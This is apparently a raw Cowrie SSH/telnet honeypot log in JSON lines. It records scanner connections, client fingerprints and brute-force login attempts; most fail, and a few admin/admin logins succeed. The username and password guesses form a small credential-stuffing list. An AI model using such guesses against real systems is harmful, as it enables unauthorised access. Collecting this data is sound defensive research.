es128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:00.412097Z","src_ip":"182.93.7.194","session":"51944983ff0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dl2","password":"dl2","message":"login attempt [dl2/dl2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:01.308855Z","src_ip":"182.93.7.194","session":"51944983ff0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:02.529845Z","src_ip":"182.93.7.194","session":"51944983ff0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":50776,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdc7f76c3d40","protocol":"ssh","message":"New connection: 103.77.175.15:50776 (159.203.135.109:22) [session: fdc7f76c3d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:09.163647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:09.167582Z","src_ip":"103.77.175.15","session":"fdc7f76c3d40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:09.406600Z","src_ip":"103.77.175.15","session":"fdc7f76c3d40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"homework","message":"login attempt [root/homework] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:10.126595Z","src_ip":"103.77.175.15","session":"fdc7f76c3d40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":42490,"dst_ip":"159.203.135.109","dst_port":23,"session":"5baed12438a2","protocol":"telnet","message":"New connection: 143.198.154.150:42490 (159.203.135.109:23) [session: 5baed12438a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:10.412075Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:11.367465Z","src_ip":"103.77.175.15","session":"fdc7f76c3d40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.5630750656128,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:11.751369Z","src_ip":"167.172.116.158","session":"2947500e180a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.7100350856781,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:13.472286Z","src_ip":"170.64.224.25","session":"22028dc6541f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:25.670780Z","src_ip":"8.210.75.243","session":"7a7a71b7c68e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":36084,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf4027eac192","protocol":"ssh","message":"New connection: 162.241.33.238:36084 (10.17.0.5:22) [session: bf4027eac192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:28.207843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:28.215955Z","src_ip":"162.241.33.238","session":"bf4027eac192","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:28.257756Z","src_ip":"162.241.33.238","session":"bf4027eac192","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"guarda789","message":"login attempt [root/guarda789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:28.339969Z","src_ip":"162.241.33.238","session":"bf4027eac192","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:29.369975Z","src_ip":"162.241.33.238","session":"bf4027eac192","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":49828,"dst_ip":"159.203.135.109","dst_port":23,"session":"67ce37034c99","protocol":"telnet","message":"New connection: 143.198.154.150:49828 (159.203.135.109:23) [session: 67ce37034c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:42.800744Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":37600,"dst_ip":"159.203.135.109","dst_port":22,"session":"fce78f694966","protocol":"ssh","message":"New connection: 194.113.233.25:37600 (159.203.135.109:22) [session: fce78f694966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:45.737403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:45.745163Z","src_ip":"194.113.233.25","session":"fce78f694966","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:45.835190Z","src_ip":"194.113.233.25","session":"fce78f694966","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03021995","message":"login attempt [root/03021995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:46.101970Z","src_ip":"194.113.233.25","session":"fce78f694966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:47.192435Z","src_ip":"194.113.233.25","session":"fce78f694966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:47.837469Z","src_ip":"8.210.75.243","session":"327fe9bceaf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.96336555480957,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:50.763802Z","src_ip":"143.198.154.150","session":"67ce37034c99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.77916860580444,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:11.191114Z","src_ip":"143.198.154.150","session":"5baed12438a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":47514,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc242f6893b5","protocol":"ssh","message":"New connection: 159.65.58.200:47514 (159.203.135.109:22) [session: fc242f6893b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:20.498656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:20.704344Z","src_ip":"159.65.58.200","session":"fc242f6893b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:20.707280Z","src_ip":"159.65.58.200","session":"fc242f6893b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shelepov","password":"123456","message":"login attempt [shelepov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:22.119948Z","src_ip":"159.65.58.200","session":"fc242f6893b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38822,"dst_ip":"159.203.135.109","dst_port":23,"session":"4324d022bee1","protocol":"telnet","message":"New connection: 170.64.224.25:38822 (159.203.135.109:23) [session: 4324d022bee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:23.455318Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:23.532869Z","src_ip":"159.65.58.200","session":"fc242f6893b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:30.440808Z","src_ip":"8.210.75.243","session":"e48fc45c5c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60158,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c5f86ade2fa","protocol":"ssh","message":"New connection: 8.210.75.243:60158 (10.17.0.5:22) [session: 7c5f86ade2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:32.401016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:32.495500Z","src_ip":"8.210.75.243","session":"7c5f86ade2fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.37.254","src_port":39208,"dst_ip":"10.17.0.5","dst_port":22,"session":"baf10bf24eab","protocol":"ssh","message":"New connection: 45.43.37.254:39208 (10.17.0.5:22) [session: baf10bf24eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:36.322001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:36.326134Z","src_ip":"45.43.37.254","session":"baf10bf24eab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:36.554621Z","src_ip":"45.43.37.254","session":"baf10bf24eab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:37.239684Z","src_ip":"45.43.37.254","session":"baf10bf24eab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:37.471821Z","src_ip":"45.43.37.254","session":"baf10bf24eab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":28338,"dst_ip":"10.17.0.5","dst_port":22,"session":"82aecfdab523","protocol":"ssh","message":"New connection: 130.12.180.51:28338 (10.17.0.5:22) [session: 82aecfdab523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:37.636615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:37.639315Z","src_ip":"130.12.180.51","session":"82aecfdab523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:37.723983Z","src_ip":"130.12.180.51","session":"82aecfdab523","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:37.968822Z","src_ip":"130.12.180.51","session":"82aecfdab523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":35650,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cbff283b6e1","protocol":"ssh","message":"New connection: 162.241.132.172:35650 (10.17.0.5:22) [session: 3cbff283b6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:38.341328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:38.344824Z","src_ip":"162.241.132.172","session":"3cbff283b6e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:38.369389Z","src_ip":"162.241.132.172","session":"3cbff283b6e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ledger","password":"ledger123","message":"login attempt [ledger/ledger123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:38.444950Z","src_ip":"162.241.132.172","session":"3cbff283b6e1","protocol":"ssh"}
